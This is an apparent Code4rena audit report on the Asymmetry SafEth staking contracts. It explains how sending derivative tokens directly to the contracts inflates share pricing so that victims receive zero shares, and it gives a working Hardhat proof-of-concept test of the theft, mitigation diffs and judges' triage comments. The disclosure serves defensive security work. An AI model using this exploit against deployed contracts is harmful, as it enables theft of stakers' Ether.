Adversary can alter derivatives balances in contracts to steal Ether

[code423n4]

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L221-L223
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L63-L129

Vulnerability details

Derivative tokens can be transfered to their corresponding derivative contracts (Reth, SfrxEth, WstEth). The stake and unstake functions on SafEth use those balances directly, and don't expect them to be increased without changing the totalSupply of shares.

An adversary can can create an imbalance in the proportion between shares and tokens and exploit it.

Impact

Users can stake Ether and receive much less shares than expected. On some scenarios users can even stake Ether, and receive 0 shares, and so be losing all of the Ether they were trying to stake. Previous stakers can take profit from this and steal that Ether.

Proof of Concept

Derivatives contracts have a function called balance that returns the actual balance of the derivative token on the contract.

    // File: contracts/SafEeth/derivatives/Reth.sol

    function balance() public view returns (uint256) {
        return IERC20(rethAddress()).balanceOf(address(this));
    }

Link to code

Anyone can send the corresponding tokens to those addresses.

The problem is that by doing so, it affects calculations on the stake and unstake functions that use it.

    // File: contracts/SafEeth/SafEth.sol

    function stake() external payable {
        // ...

        uint256 underlyingValue = 0;
        // Getting underlying value in terms of ETH for each derivative
        for (uint i = 0; i < derivativeCount; i++)
            underlyingValue +=
@>              (derivatives[i].ethPerDerivative(derivatives[i].balance()) * // @audit
                    derivatives[i].balance()) /
                10 ** 18;

        // ...
    }

    function unstake(uint256 _safEthAmount) external {
        // ...

        for (uint256 i = 0; i < derivativeCount; i++) {
            // withdraw a percentage of each asset based on the amount of safETH
@>          uint256 derivativeAmount = (derivatives[i].balance() * // @audit
                _safEthAmount) / safEthTotalSupply;
            if (derivativeAmount == 0) continue; // if derivative empty ignore
            derivatives[i].withdraw(derivativeAmount);
        }

        // ...
    }

Link to code

That results in an increased underlyingValue value, which increases the preDepositPrice:

    // File: contracts/SafEeth/SafEth.sol
    // Function: stake()

    uint256 totalSupply = totalSupply();
    uint256 preDepositPrice; // Price of safETH in regards to ETH
    if (totalSupply == 0)
        preDepositPrice = 10 ** 18; // initializes with a price of 1
@>    else preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply; // @audit

That results into less mintAmount and less share tokens than expected.

    // File: contracts/SafEeth/SafEth.sol
    // Function: stake()

    // mintAmount represents a percentage of the total assets in the system
@>    uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice; // @audit
    _mint(msg.sender, mintAmount);

Given the proper setup, preDepositPrice can be big enough to make the mintAmount value become 0 due to precision loss, as will be demonstrated on the following test.

Test

This test demonstrates the case where an adversary can create an imbalance on the WstEth derivative contract balance() function, making users receive 0 shares for the Ether they deposit afterwards. Finally, the adversary claims the stolen Ether.

describe("Imbalance", function () {
    it.only("steals ether from users", async function () {
      const accounts = await ethers.getSigners();
      const user = accounts[0];
      const attacker = accounts[1];

      // Keep track of the attacker balance to check the final balance at the end
      const attackerInitialBalance = await ethers.provider.getBalance(
        attacker.address
      );

      // Attacker stakes 1 ETH and withdraws everything but 1 wei
      await safEthProxy
        .connect(attacker)
        .stake({ value: ethers.utils.parseEther("1") });
      const attackerStaked = await safEthProxy.balanceOf(attacker.address);
      await safEthProxy.connect(attacker).unstake(attackerStaked.sub(1));
      expect(await safEthProxy.balanceOf(attacker.address)).eq(1);

      // Attacker converts 1.1 ETH to SfrxEth and sends it to the derivative contract
      const wstEthAddress = "0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0";
      const derivativeAddress = await safEthProxy.derivatives(2);
      await attacker.sendTransaction({
        to: wstEthAddress,
        value: ethers.utils.parseEther("1.1"),
      });
      const sfrxEth = (await ethers.getContractFactory("ERC20")).attach(
        wstEthAddress
      );
      const sfrxEthBalance = await sfrxEth.balanceOf(attacker.address);
      sfrxEth.connect(attacker).transfer(derivativeAddress, sfrxEthBalance);

      // Victim stakes 1 ETH, but receives 0 SafEth shares
      const ethToBeStolen = { value: ethers.utils.parseEther("1") };
      await safEthProxy.connect(user).stake(ethToBeStolen);
      expect(await safEthProxy.balanceOf(user.address)).eq(0);

      // Attacker unstakes his shares and receives the stolen ETH
      const stakedAmount = await safEthProxy.balanceOf(attacker.address);
      await safEthProxy.connect(attacker).unstake(stakedAmount);

      // Verify that the attacker received the stolen ETH
      const attackerFinalBalance = await ethers.provider.getBalance(
        attacker.address
      );
      const expectedStolenEth = ethers.utils.parseEther("1");
      const stolenEth = attackerFinalBalance.sub(attackerInitialBalance);
      const fees = ethers.utils.parseEther("0.1");
      expect(stolenEth).gt(0);
      expect(stolenEth).closeTo(expectedStolenEth, fees);
    });
});

Tools Used

Manual review

Recommended Mitigation Steps

Keep an internal record of the derivative token balances instead of relying on the real balance. That way, if tokens are sent on purpose, they will be disregarded from calculations.

Suggested changes for WstEth (same changes should be applied to SfrxEth and Reth):

Add a variable to track the tokens:

+ uint256 public tokensBalance;

Modify the original balance function to return this new tokenBalance:

-    function balance() public view returns (uint256) {
-        return IERC20(WST_ETH).balanceOf(address(this));
-    }
+    function balance() public view returns (uint256) {
+        return tokensBalance;
+    }

Update the tokenBalance value when adding a deposit:

    function deposit() external payable onlyOwner returns (uint256) {
        uint256 wstEthBalancePre = IWStETH(WST_ETH).balanceOf(address(this));
        // solhint-disable-next-line
        (bool sent, ) = WST_ETH.call{value: msg.value}("");
        require(sent, "Failed to send Ether");
        uint256 wstEthBalancePost = IWStETH(WST_ETH).balanceOf(address(this));
        uint256 wstEthAmount = wstEthBalancePost - wstEthBalancePre;
+       tokensBalance += wstEthAmount;
        return (wstEthAmount);
    }

Update the tokenBalance value when withdrawing:

    function withdraw(uint256 _amount) external onlyOwner {
+       tokensBalance -= _amount;
        IWStETH(WST_ETH).unwrap(_amount);
        uint256 stEthBal = IERC20(STETH_TOKEN).balanceOf(address(this));
        IERC20(STETH_TOKEN).approve(LIDO_CRV_POOL, stEthBal);
        uint256 minOut = (stEthBal * (10 ** 18 - maxSlippage)) / 10 ** 18;
        IStEthEthPool(LIDO_CRV_POOL).exchange(1, 0, stEthBal, minOut);
        // solhint-disable-next-line
        (bool sent, ) = address(msg.sender).call{value: address(this).balance}(
            ""
        );
        require(sent, "Failed to send Ether");
    }

[c4-pre-sort]

0xSorryNotSorry marked the issue as high quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as primary issue

[toshiSat]

This is a duplicate of another issue

[toshiSat]

Only valid if 1 wei in system which doesn't leave many funds at risk as well as require a significant investment from the attacker for no real gain

[c4-sponsor]

toshiSat marked the issue as sponsor disputed

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes marked the issue as duplicate of #1098